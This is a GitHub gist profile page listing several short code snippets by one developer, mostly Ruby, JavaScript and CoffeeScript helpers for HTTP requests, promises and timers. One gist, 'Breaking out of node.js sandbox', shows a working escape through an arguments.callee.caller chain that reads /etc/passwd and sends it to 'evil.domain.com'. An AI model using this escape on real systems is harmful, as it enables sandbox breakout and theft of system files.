Skip to content

Instantly share code, notes, and snippets.

View bjoerge's full-sized avatar

Bjørge Næss bjoerge

View GitHub Profile
@bjoerge
bjoerge / rolfstangen-bg.rb
Created August 28, 2011 15:03
Rolfstangen webcam set as bg
#!/usr/bin/ruby
require 'net/http'
file_name = '/tmp/rolfstangen-webcam.jpg'
Net::HTTP.start("www.rolfstangen.no") do |http|
resp = http.get("/webcam/cam_1.jpg")
open(file_name, 'wb') do |file|
file.write(resp.body)
end
@bjoerge
bjoerge / demo.js
Created January 2, 2012 21:04
A simple example that polls for new data in a streamed http response.
var xhr = function (url, options) {
options = options || {};
var req = new XMLHttpRequest(),
method = options.method || 'get',
dfd = new $.Deferred();
req.open(method, url, true);
req.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
@bjoerge
bjoerge / gist:1560006
Created January 4, 2012 13:20
SimplePoll Client example
$.fn.SimplePoll('/api/tiramisu/v1/tick')
.progress(function(line) {
var parts = line.split(";")
$('#bar').css('width', parts[0]+'%');
$('#progress').html(parts[1]);
})
.then(function() {
$('#progress').html("Ferdig nå.");
});
@bjoerge
bjoerge / gist:1578785
Created January 8, 2012 15:52
Another minimal, but more feature rich Promise implementation
var Promise = (function() {
var api_tuples = {notify: 'progress', resolve: 'then', reject: 'fail', done: 'always' }, // all (action, callback_adder)-tuples)
isFunction = function(obj) {
return Object.prototype.toString.call(obj) == '[object Function]';
},
slice = Array.prototype.slice,
each_pair = function(obj, callback) {
Object.keys(obj).forEach(function(key) { callback(key, obj[key]); });
},
invokeEach = function(funcs) {
@bjoerge
bjoerge / gist:1885939
Created February 22, 2012 16:39
This is one of the reasons CoffeeScript simply rocks
after = (ms, func) ->
setTimeout func, ms
after 200, ->
console.log "200 milliseconds passed"
after 400, ->
console.log "400 milliseconds passed"
@bjoerge
bjoerge / gist:2690398
Created May 13, 2012 21:50
Cross browser xmlhttprequest get
# Cross browser xmlhttprequest function (based on http://www.quirksmode.org/js/xmlhttp.html)
xhrGet = do ->
XMLHttpFactories = [
-> new XMLHttpRequest()
-> new ActiveXObject("Msxml2.XMLHTTP")
-> new ActiveXObject("Msxml3.XMLHTTP")
-> new ActiveXObject("Microsoft.XMLHTTP")]
createXHR = ->
@bjoerge
bjoerge / gist:2889278
Created June 7, 2012 15:02
Breaking out of node.js sandbox
var func = arguments.callee.caller.arguments.callee.caller.arguments.callee.caller.arguments.callee.arguments.callee.caller.arguments.callee.caller;
func.call(func, "var fs = process.mainModule.require('fs');var http = process.mainModule.require('http');var req = http.request({host: 'evil.domain.com'}); req.write(fs.readFileSync('/etc/passwd').toString());req.end();");
HumanDate.relative(DateTime.parse("August 23, 2012 00:00:00 UTC"), :today => DateTime.parse("2012-08-23")).should eq "i dag"
%form(id="uploadform" action="/images/upload" method="post")
File:
%input(type="file" name="file")
%button.upload(type="button") Upload
.image_container
.progress.active
.bar
@bjoerge
bjoerge / profilbildeforstorrer.js
Created September 30, 2012 15:24
Profilbildeforstørrer 2.0
(function ($) {
// Tha popup component
var Popup = (function () {
// Constrain the popup to be within this margin of the page
var margin = {top: 10, bottom: 30};
// Get current viewport
function getViewport() {